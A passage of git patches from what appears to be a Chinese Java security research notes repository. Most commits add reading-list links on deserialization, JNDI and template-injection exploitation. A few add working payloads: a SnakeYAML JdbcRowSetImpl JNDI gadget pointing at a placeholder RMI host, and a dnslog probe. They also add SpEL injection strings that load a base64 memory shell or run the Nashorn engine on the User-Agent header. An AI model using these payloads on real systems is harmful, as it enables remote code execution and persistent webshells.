mi.setCredential(InvokerServlet.GetCredentialAction.getCredential()); + } + + Object[] params = new Object[]{mi}; + String[] sig = new String[]{"org.jboss.invocation.Invocation"}; + ObjectName invokerName = this.localInvokerName; + if (invokerName == null) { + Integer nameHash = (Integer)mi.getObjectName(); + invokerName = (ObjectName)Registry.lookup(nameHash); + if (invokerName == null) { + throw new ServletException("Failed to find invoker name for hash(" + nameHash + ")"); + } + } + + Object value = this.mbeanServer.invoke(invokerName, "invoke", params, sig); + if (returnValueAsAttribute != null && returnValueAsAttribute) { + request.setAttribute("returnValue", value); + } else { + MarshalledValue mv = new MarshalledValue(value); + ServletOutputStream sos = response.getOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(sos); + oos.writeObject(mv); + oos.close(); + } + } catch (Throwable var13) { + Throwable t = JMXExceptionDecoder.decode(var13); + if (t instanceof InvocationTargetException) { + InvocationTargetException ite = (InvocationTargetException)t; + t = ite.getTargetException(); + } + + InvocationException appException = new InvocationException(t); + if (returnValueAsAttribute != null && returnValueAsAttribute) { + log.debug("Invoke threw exception", t); + request.setAttribute("returnValue", appException); + } else if (response.isCommitted()) { + log.error("Invoke threw exception, and response is already committed", t); + } else { + response.resetBuffer(); + MarshalledValue mv = new MarshalledValue(appException); + ServletOutputStream sos = response.getOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(sos); + oos.writeObject(mv); + oos.close(); + } + } + + } + + protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + this.processRequest(request, response); + } + + protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { + this.processRequest(request, response); + } + + public String getServletInfo() { + return "An HTTP to JMX invocation servlet"; + } + + private static class GetCredentialAction implements PrivilegedAction { + static PrivilegedAction ACTION = new InvokerServlet.GetCredentialAction(); + + private GetCredentialAction() { + } + + public Object run() { + Object credential = SecurityAssociation.getCredential(); + return credential; + } + + static Object getCredential() { + Object credential = AccessController.doPrivileged(ACTION); + return credential; + } + } + + private static class GetPrincipalAction implements PrivilegedAction { + static PrivilegedAction ACTION = new InvokerServlet.GetPrincipalAction(); + + private GetPrincipalAction() { + } + + public Object run() { + Principal principal = SecurityAssociation.getPrincipal(); + return principal; + } + + static Principal getPrincipal() { + Principal principal = (Principal)AccessController.doPrivileged(ACTION); + return principal; + } + } +} +``` From dd1fe2e2aba2fdfc7696cab2bea729323bdca28d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 10 Jul 2022 13:49:49 +0800 Subject: [PATCH 019/254] Update Readme.md --- .../Velocity/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" index 3a3feb9..678fd9a 100644 --- "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" +++ "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" @@ -1,4 +1,5 @@ # 真实例子 Confluence CVE-2019-3396 +Jira CVE-2019-11581 From 284f248d9b86e59849cc61c4da798896b4f94d8d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 10 Jul 2022 14:03:42 +0800 Subject: [PATCH 020/254] Update Readme.md --- .../Velocity/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" index 678fd9a..f6c05c2 100644 --- "a/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" +++ "b/java\346\250\241\346\235\277\346\263\250\345\205\245/Velocity/Readme.md" @@ -1,5 +1,6 @@ # 真实例子 Confluence CVE-2019-3396 + Jira CVE-2019-11581 From e9ada9eb1e24bd231112b09ac1b07002d373c587 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 15 Jul 2022 12:52:41 +0800 Subject: [PATCH 021/254] Update Readme.md --- SnakeYaml/Readme.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/SnakeYaml/Readme.md b/SnakeYaml/Readme.md index cf6bec6..e699ddd 100644 --- a/SnakeYaml/Readme.md +++ b/SnakeYaml/Readme.md @@ -8,6 +8,8 @@ https://xz.aliyun.com/t/10655 +限制了class,不过存在class bean中有object属性 https://mp.weixin.qq.com/s/7HJXfNibY9Z3DPGarTqyZQ + 加载本地 ```java String data2 = "!!javax.script.ScriptEngineManager [\n" + From 167818cf08b5cf2b3a5e63a6d0019d18fa99e5e1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 15 Jul 2022 13:17:26 +0800 Subject: [PATCH 022/254] Update Readme.md --- SnakeYaml/Readme.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/SnakeYaml/Readme.md b/SnakeYaml/Readme.md index e699ddd..89be881 100644 --- a/SnakeYaml/Readme.md +++ b/SnakeYaml/Readme.md @@ -23,3 +23,9 @@ String data2 = "!!javax.script.ScriptEngineManager [\n" + ```java String poc = "[!!判断的类全类名 []: 0, !!java.net.URL [null, \"http://ixvoxg.dnslog.cn\"]: 1]"; ``` + +## 其他链 一般是jndi + +``` +!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "rmi://xxxx", autoCommit: true} +``` From 6f60ab9cd377302f64b3b0edc8108b4437ece805 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 15 Jul 2022 13:20:48 +0800 Subject: [PATCH 023/254] Update Readme.md --- SnakeYaml/Readme.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/SnakeYaml/Readme.md b/SnakeYaml/Readme.md index 89be881..b14e92b 100644 --- a/SnakeYaml/Readme.md +++ b/SnakeYaml/Readme.md @@ -3,12 +3,12 @@ ## 不出网利用 >通过写文件然后本地加载rce -//todo 写一个工具 去完成 +//todo 写一个工具 去完成 已经完成了 https://xz.aliyun.com/t/10655 -限制了class,不过存在class bean中有object属性 https://mp.weixin.qq.com/s/7HJXfNibY9Z3DPGarTqyZQ +限制了class,不过存在class bean中有object属性 参考： https://mp.weixin.qq.com/s/7HJXfNibY9Z3DPGarTqyZQ 加载本地 ```java @@ -29,3 +29,5 @@ String data2 = "!!javax.script.ScriptEngineManager [\n" + ``` !!com.sun.rowset.JdbcRowSetImpl {dataSourceName: "rmi://xxxx", autoCommit: true} ``` + +参考： https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E From ef6fb63bae480bb06898555d39d777b1cc2ce472 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 15 Jul 2022 14:19:49 +0800 Subject: [PATCH 024/254] Update Readme.md --- shell/EL/Readme.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/shell/EL/Readme.md b/shell/EL/Readme.md index 24f8a89..56f6390 100644 --- a/shell/EL/Readme.md +++ b/shell/EL/Readme.md @@ -1,5 +1,7 @@ # EL +https://xz.aliyun.com/t/7692 + ## 回显 https://forum.butian.net/share/886 From 8dead4aea8192692eadb399e15f38b3695a8acbe Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 18 Jul 2022 21:53:16 +0800 Subject: [PATCH 025/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 415bb41..54e1208 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -146,3 +146,4 @@ + 2022/06/27 [漏洞检测的那些事儿](https://paper.seebug.org/9/) **漏洞检测相关的知识** + 2022/07/02 [记一次无文件Webshell攻击分析](https://changxia3.com/2021/07/13/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%97%A0%E6%96%87%E4%BB%B6Webshell%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/) + 2022/07/03 [第16篇：Weblogic 2019-2729反序列化漏洞绕防护拿权限的实战过程](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484303&idx=1&sn=58cbb4d7f63b9276bb89eeac286d174c&chksm=c25fccf4f52845e241256c2f425003b73b6061b3d1964dcd4a184a2cda1b4d8761098227e6de&mpshare=1&scene=23&srcid=0703XRThsRmunAKy5fSIYQKh&sharer_sharetime=1656786411917&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **其中的获取weblogic路径不错** ++ 2022/07/18 [java~通过ClassLoader动态加载类,实现简单的热部署](https://icode.best/i/88333747185426) [java利用classloader实现热部署](https://blog.csdn.net/chaofanwei2/article/details/51298818) From fd140a0a0a4cd4c9f4807283ae56ef151b4b9cc4 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 15 Aug 2022 23:31:07 +0800 Subject: [PATCH 026/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 54e1208..8945633 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -147,3 +147,4 @@ + 2022/07/02 [记一次无文件Webshell攻击分析](https://changxia3.com/2021/07/13/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%97%A0%E6%96%87%E4%BB%B6Webshell%E6%94%BB%E5%87%BB%E5%88%86%E6%9E%90/) + 2022/07/03 [第16篇：Weblogic 2019-2729反序列化漏洞绕防护拿权限的实战过程](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484303&idx=1&sn=58cbb4d7f63b9276bb89eeac286d174c&chksm=c25fccf4f52845e241256c2f425003b73b6061b3d1964dcd4a184a2cda1b4d8761098227e6de&mpshare=1&scene=23&srcid=0703XRThsRmunAKy5fSIYQKh&sharer_sharetime=1656786411917&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **其中的获取weblogic路径不错** + 2022/07/18 [java~通过ClassLoader动态加载类,实现简单的热部署](https://icode.best/i/88333747185426) [java利用classloader实现热部署](https://blog.csdn.net/chaofanwei2/article/details/51298818) ++ 2022/08/15 [玄武盾的几种绕过姿势](https://mp.weixin.qq.com/s/blPSDeuzQxwbjfdvZFlWQg) **里面的编码有点意思** From faa7c2e1ecca0d6c88ffc8ae5e3fb05b847274ef Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 16 Aug 2022 13:05:33 +0800 Subject: [PATCH 027/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 8945633..3684b0a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -148,3 +148,4 @@ + 2022/07/03 [第16篇：Weblogic 2019-2729反序列化漏洞绕防护拿权限的实战过程](https://mp.weixin.qq.com/s?__biz=MzkzMjI1NjI3Ng==&mid=2247484303&idx=1&sn=58cbb4d7f63b9276bb89eeac286d174c&chksm=c25fccf4f52845e241256c2f425003b73b6061b3d1964dcd4a184a2cda1b4d8761098227e6de&mpshare=1&scene=23&srcid=0703XRThsRmunAKy5fSIYQKh&sharer_sharetime=1656786411917&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **其中的获取weblogic路径不错** + 2022/07/18 [java~通过ClassLoader动态加载类,实现简单的热部署](https://icode.best/i/88333747185426) [java利用classloader实现热部署](https://blog.csdn.net/chaofanwei2/article/details/51298818) + 2022/08/15 [玄武盾的几种绕过姿势](https://mp.weixin.qq.com/s/blPSDeuzQxwbjfdvZFlWQg) **里面的编码有点意思** ++ 2022/08/16 [weblogic“伪随机”目录生成算法探究](https://gv7.me/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/) **比较细节** From 1167c93eaf24f3a624f3de3351f974627ec9a080 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 20 Aug 2022 00:16:26 +0800 Subject: [PATCH 028/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 3684b0a..675c06c 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -149,3 +149,4 @@ + 2022/07/18 [java~通过ClassLoader动态加载类,实现简单的热部署](https://icode.best/i/88333747185426) [java利用classloader实现热部署](https://blog.csdn.net/chaofanwei2/article/details/51298818) + 2022/08/15 [玄武盾的几种绕过姿势](https://mp.weixin.qq.com/s/blPSDeuzQxwbjfdvZFlWQg) **里面的编码有点意思** + 2022/08/16 [weblogic“伪随机”目录生成算法探究](https://gv7.me/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/) **比较细节** ++ 2022/08/20 [Java安全攻防之从wsProxy到AbstractTranslet](https://mp.weixin.qq.com/s/HuQV6PNBCW4qSKQVQg8ifA) **学习了反序列化代码执行不需要继承AbstractTranslet** From 0d0387308e0654181dad0fc745a47270c051b96e Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 22 Aug 2022 15:01:15 +0800 Subject: [PATCH 029/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 675c06c..43d561b 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -150,3 +150,4 @@ + 2022/08/15 [玄武盾的几种绕过姿势](https://mp.weixin.qq.com/s/blPSDeuzQxwbjfdvZFlWQg) **里面的编码有点意思** + 2022/08/16 [weblogic“伪随机”目录生成算法探究](https://gv7.me/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/) **比较细节** + 2022/08/20 [Java安全攻防之从wsProxy到AbstractTranslet](https://mp.weixin.qq.com/s/HuQV6PNBCW4qSKQVQg8ifA) **学习了反序列化代码执行不需要继承AbstractTranslet** ++ 2022/08/22 [ysoserial分析之Jython1利用链](https://mp.weixin.qq.com/s/QNrwrv5leC0FN3H4RL6oEg) **等待完善命令执行。。。** From e60dddad0ab644b13234f3ecb11bf41d840dcee8 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 1 Sep 2022 16:54:36 +0800 Subject: [PATCH 030/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 43d561b..17bc0da 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -151,3 +151,4 @@ + 2022/08/16 [weblogic“伪随机”目录生成算法探究](https://gv7.me/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/) **比较细节** + 2022/08/20 [Java安全攻防之从wsProxy到AbstractTranslet](https://mp.weixin.qq.com/s/HuQV6PNBCW4qSKQVQg8ifA) **学习了反序列化代码执行不需要继承AbstractTranslet** + 2022/08/22 [ysoserial分析之Jython1利用链](https://mp.weixin.qq.com/s/QNrwrv5leC0FN3H4RL6oEg) **等待完善命令执行。。。** ++ 2022/09/01 [手把手带你挖掘spring-cloud-gateway新链](https://forum.butian.net/share/1410) **学到了Idea 快捷键Ctrl + Alt + H来查看调用的层次 比较清楚** From d81bc7d9f602bc8a0dae54484812397d93521ea0 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 2 Sep 2022 17:25:55 +0800 Subject: [PATCH 031/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 17bc0da..a2df6be 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -152,3 +152,4 @@ + 2022/08/20 [Java安全攻防之从wsProxy到AbstractTranslet](https://mp.weixin.qq.com/s/HuQV6PNBCW4qSKQVQg8ifA) **学习了反序列化代码执行不需要继承AbstractTranslet** + 2022/08/22 [ysoserial分析之Jython1利用链](https://mp.weixin.qq.com/s/QNrwrv5leC0FN3H4RL6oEg) **等待完善命令执行。。。** + 2022/09/01 [手把手带你挖掘spring-cloud-gateway新链](https://forum.butian.net/share/1410) **学到了Idea 快捷键Ctrl + Alt + H来查看调用的层次 比较清楚** ++ 2022/09/02 [代码审计之洞态IAST 0day挖掘](https://mp.weixin.qq.com/s/LDBwhQYiiZ8heOiJl83JFQ) **感觉一般** From 3ad5b0c446a9c11ad2b43d161f07958db950d625 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 10 Sep 2022 00:07:27 +0800 Subject: [PATCH 032/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a2df6be..a1a5905 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -153,3 +153,4 @@ + 2022/08/22 [ysoserial分析之Jython1利用链](https://mp.weixin.qq.com/s/QNrwrv5leC0FN3H4RL6oEg) **等待完善命令执行。。。** + 2022/09/01 [手把手带你挖掘spring-cloud-gateway新链](https://forum.butian.net/share/1410) **学到了Idea 快捷键Ctrl + Alt + H来查看调用的层次 比较清楚** + 2022/09/02 [代码审计之洞态IAST 0day挖掘](https://mp.weixin.qq.com/s/LDBwhQYiiZ8heOiJl83JFQ) **感觉一般** ++ 2022/09/10 [Groovy Template Engine Exploitation – Notes from a real case scenario](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) **Groovy Template Engine Exploitation 说不定以后遇到** From a2e3591d7a3c6462fb2bec06c45ab15d71eefaa4 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 10 Sep 2022 23:37:20 +0800 Subject: [PATCH 033/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index a1a5905..74e5f5e 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -154,3 +154,4 @@ + 2022/09/01 [手把手带你挖掘spring-cloud-gateway新链](https://forum.butian.net/share/1410) **学到了Idea 快捷键Ctrl + Alt + H来查看调用的层次 比较清楚** + 2022/09/02 [代码审计之洞态IAST 0day挖掘](https://mp.weixin.qq.com/s/LDBwhQYiiZ8heOiJl83JFQ) **感觉一般** + 2022/09/10 [Groovy Template Engine Exploitation – Notes from a real case scenario](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) **Groovy Template Engine Exploitation 说不定以后遇到** ++ 2022/09/10 [Xalan-J XSLT整数截断漏洞利用构造(CVE-2022-34169)](http://noahblog.360.cn/xalan-j-integer-truncation-reproduce-cve-2022-34169/) **好牛皮 但是看不懂** From 4d2bd5b6a7f5249428a5e40916489669e9a34c36 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 11 Sep 2022 10:56:24 +0800 Subject: [PATCH 034/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 74e5f5e..28e3f61 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -155,3 +155,4 @@ + 2022/09/02 [代码审计之洞态IAST 0day挖掘](https://mp.weixin.qq.com/s/LDBwhQYiiZ8heOiJl83JFQ) **感觉一般** + 2022/09/10 [Groovy Template Engine Exploitation – Notes from a real case scenario](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) **Groovy Template Engine Exploitation 说不定以后遇到** + 2022/09/10 [Xalan-J XSLT整数截断漏洞利用构造(CVE-2022-34169)](http://noahblog.360.cn/xalan-j-integer-truncation-reproduce-cve-2022-34169/) **好牛皮 但是看不懂** ++ 2022/09/11 [通过动态链接库绕过反病毒软件Hook - Break JVM](https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&mid=2247483882&idx=1&sn=011c3f231d38d899bcf8bf21010616a0&chksm=9038acbaa74f25acd2983131a4b309424985fde3538cd8a93409336e317a4393350f75c7e334&scene=132#wechat_redirect) From c7d87f5c8612076aa446c176d4fdb206cfa92882 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 15 Sep 2022 20:51:20 +0800 Subject: [PATCH 035/254] Create Readme.md --- Undertow/Readme.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 Undertow/Readme.md diff --git a/Undertow/Readme.md b/Undertow/Readme.md new file mode 100644 index 0000000..16d8a83 --- /dev/null +++ b/Undertow/Readme.md @@ -0,0 +1,5 @@ +# Undertow + +https://blog.csdn.net/hollis_chuang/article/details/104470945 + +http://blog.hubwiz.com/2016/12/01/webserver-Undertow/ From b63b51024c3f51494e8d85f269904f4ae037e6be Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 16 Sep 2022 13:35:31 +0800 Subject: [PATCH 036/254] Update Readme.md --- shell/SPEL/Readme.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/shell/SPEL/Readme.md b/shell/SPEL/Readme.md index c83f309..2e57962 100644 --- a/shell/SPEL/Readme.md +++ b/shell/SPEL/Readme.md @@ -1,5 +1,7 @@ # SPEL +>new关键字大小写可以绕过 + ## poc ```java @@ -45,6 +47,7 @@ T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun #{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()} +${''.getClass().forName('java.script.ScriptEngineManager').newInstance().getEngineByName("nashorn").eval(#request.getHeader('User-Agent'))} echo From aff8eaec8c511a05428772a3ea5701e0e3280d80 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 16 Sep 2022 17:10:08 +0800 Subject: [PATCH 037/254] Update Readme.md --- shell/SPEL/Readme.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/shell/SPEL/Readme.md b/shell/SPEL/Readme.md index 2e57962..b0acffd 100644 --- a/shell/SPEL/Readme.md +++ b/shell/SPEL/Readme.md @@ -111,7 +111,8 @@ print(')}') 其他bypass: https://xz.aliyun.com/t/9245 ## 参考 - +> https://xz.aliyun.com/t/9245 **可以使用#request.getRequestedSessionId() 或者 #request.getHeader('User-Agent') 反正可以使用request对象或者respose** +> >https://www.cnblogs.com/bitterz/p/15206255.html > >https://landgrey.me/blog/15/ From c337e11d2e0c3cb385652b8ee7fc35aefe7916af Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 16 Sep 2022 20:50:14 +0800 Subject: [PATCH 038/254] Create jetty --- jetty | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 jetty diff --git a/jetty b/jetty new file mode 100644 index 0000000..aefe916 --- /dev/null +++ b/jetty @@ -0,0 +1,5 @@ +# jetty + +比较好的文章 + +https://swarm.ptsecurity.com/tag/web-application-security/ From d160b9a1e472c722fb846f0c600ad772c9127601 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 16 Sep 2022 20:50:54 +0800 Subject: [PATCH 039/254] Delete jetty --- jetty | 5 ----- 1 file changed, 5 deletions(-) delete mode 100644 jetty diff --git a/jetty b/jetty deleted file mode 100644 index aefe916..0000000 --- a/jetty +++ /dev/null @@ -1,5 +0,0 @@ -# jetty - -比较好的文章 - -https://swarm.ptsecurity.com/tag/web-application-security/ From cca34aa995753884be80e17f29e1c4cabec07f9d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 16 Sep 2022 20:51:25 +0800 Subject: [PATCH 040/254] Create Readme.md --- Jetty/Readme.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 Jetty/Readme.md diff --git a/Jetty/Readme.md b/Jetty/Readme.md new file mode 100644 index 0000000..c036d30 --- /dev/null +++ b/Jetty/Readme.md @@ -0,0 +1,5 @@ +# Jetty + +好文章： + +https://swarm.ptsecurity.com/tag/web-application-security/ From cb7c7d5c7e9159c1e4979bb589bd9df5447430b3 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 16 Sep 2022 21:11:04 +0800 Subject: [PATCH 041/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 28e3f61..2243d30 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -155,4 +155,5 @@ + 2022/09/02 [代码审计之洞态IAST 0day挖掘](https://mp.weixin.qq.com/s/LDBwhQYiiZ8heOiJl83JFQ) **感觉一般** + 2022/09/10 [Groovy Template Engine Exploitation – Notes from a real case scenario](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/) **Groovy Template Engine Exploitation 说不定以后遇到** + 2022/09/10 [Xalan-J XSLT整数截断漏洞利用构造(CVE-2022-34169)](http://noahblog.360.cn/xalan-j-integer-truncation-reproduce-cve-2022-34169/) **好牛皮 但是看不懂** -+ 2022/09/11 [通过动态链接库绕过反病毒软件Hook - Break JVM](https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&mid=2247483882&idx=1&sn=011c3f231d38d899bcf8bf21010616a0&chksm=9038acbaa74f25acd2983131a4b309424985fde3538cd8a93409336e317a4393350f75c7e334&scene=132#wechat_redirect) ++ 2022/09/11 [通过动态链接库绕过反病毒软件Hook - Break JVM](https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&mid=2247483882&idx=1&sn=011c3f231d38d899bcf8bf21010616a0&chksm=9038acbaa74f25acd2983131a4b309424985fde3538cd8a93409336e317a4393350f75c7e334&scene=132#wechat_redirect) ++ 2022/09/16 [研究 XSS 到 RCE 缺陷的开源应用程序](https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/) **xss->rce** From 312f9323aa901d1543bd57e43078170e44420cf0 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 17 Sep 2022 23:36:50 +0800 Subject: [PATCH 042/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 2243d30..add100f 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -157,3 +157,4 @@ + 2022/09/10 [Xalan-J XSLT整数截断漏洞利用构造(CVE-2022-34169)](http://noahblog.360.cn/xalan-j-integer-truncation-reproduce-cve-2022-34169/) **好牛皮 但是看不懂** + 2022/09/11 [通过动态链接库绕过反病毒软件Hook - Break JVM](https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&mid=2247483882&idx=1&sn=011c3f231d38d899bcf8bf21010616a0&chksm=9038acbaa74f25acd2983131a4b309424985fde3538cd8a93409336e317a4393350f75c7e334&scene=132#wechat_redirect) + 2022/09/16 [研究 XSS 到 RCE 缺陷的开源应用程序](https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/) **xss->rce** ++ 2022/09/17 [JAVA反序列化中 RMI JRMP 以及JNDI多种利用方式详解](https://mp.weixin.qq.com/s/tAPCzt6Saq5q7W0P7kBdJg) From 48ee10b76006bf6a2d01b6ab7242525ed0d92933 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 19 Sep 2022 00:21:26 +0800 Subject: [PATCH 043/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index add100f..6ac687a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" 